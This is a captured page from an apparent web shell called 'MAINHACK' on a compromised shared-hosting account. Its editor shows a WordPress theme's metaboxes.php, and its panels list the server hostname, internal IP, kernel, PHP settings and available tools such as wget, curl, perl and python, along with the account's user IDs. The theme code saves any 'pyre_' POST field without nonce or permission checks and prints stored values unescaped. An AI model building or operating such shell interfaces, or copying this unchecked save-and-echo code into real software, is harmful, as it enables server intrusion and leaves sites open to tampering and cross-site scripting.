[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: metaboxes.php
<?php class PyreThemeFrameworkMetaboxes { public function __construct() { add_action('add_meta_boxes', array($this, 'add_meta_boxes')); add_action('save_post', array($this, 'save_meta_boxes')); } public function add_meta_boxes() { $this->add_meta_box('post_options', 'Post Options', 'post'); $this->add_meta_box('review_info', 'Review Info', 'post'); } public function add_meta_box($id, $label, $post_type) { add_meta_box( 'pyre_' . $id, __($label, 'Avenue'), array($this, $id), $post_type ); } public function save_meta_boxes($post_id) { if(defined( 'DOING_AUTOSAVE') && DOING_AUTOSAVE) { return; } foreach($_POST as $key => $value) { if(strstr($key, 'pyre_')) { update_post_meta($post_id, $key, $value); } } } public function review_info() { include 'views/metaboxes/style.php'; include 'views/metaboxes/review_info.php'; } public function post_options() { include 'views/metaboxes/style.php'; include 'views/metaboxes/post_options.php'; } public function text($id, $label, $desc = '') { global $post; $html .= '<div class="pyre_metabox_field">'; $html .= '<label for="pyre_' . $id . '">'; $html .= $label; $html .= '</label>'; $html .= '<div class="field">'; $html .= '<input type="text" id="pyre_' . $id . '" name="pyre_' . $id . '" value="' . get_post_meta($post->ID, 'pyre_' . $id, true) . '" />'; if($desc) { $html .= '<p>' . $desc . '</p>'; } $html .= '</div>'; $html .= '</div>'; echo $html; } public function select($id, $label, $options, $desc = '') { global $post; $html .= '<div class="pyre_metabox_field">'; $html .= '<label for="pyre_' . $id . '">'; $html .= $label; $html .= '</label>'; $html .= '<div class="field">'; $html .= '<select id="pyre_' . $id . '" name="pyre_' . $id . '">'; foreach($options as $key => $option) { if(get_post_meta($post->ID, 'pyre_' . $id, true) == $key) { $selected = 'selected="selected"'; } else { $selected = ''; } $html .= '<option ' . $selected . 'value="' . $key . '">' . $option . '</option>'; } $html .= '</select>'; if($desc) { $html .= '<p>' . $desc . '</p>'; } $html .= '</div>'; $html .= '</div>'; echo $html; } } $metaboxes = new PyreThemeFrameworkMetaboxes;
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm010.cluster103.gra.hosting.ovh.net
Server IP: 10.103.20.10
PHP Version: 7.4.33
Server Software: Apache
System: Linux webm010.cluster103.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: cuisinesj
User ID (UID): 17129
Group ID (GID): 100
Script Owner UID: 17129
Current Dir Owner: 17129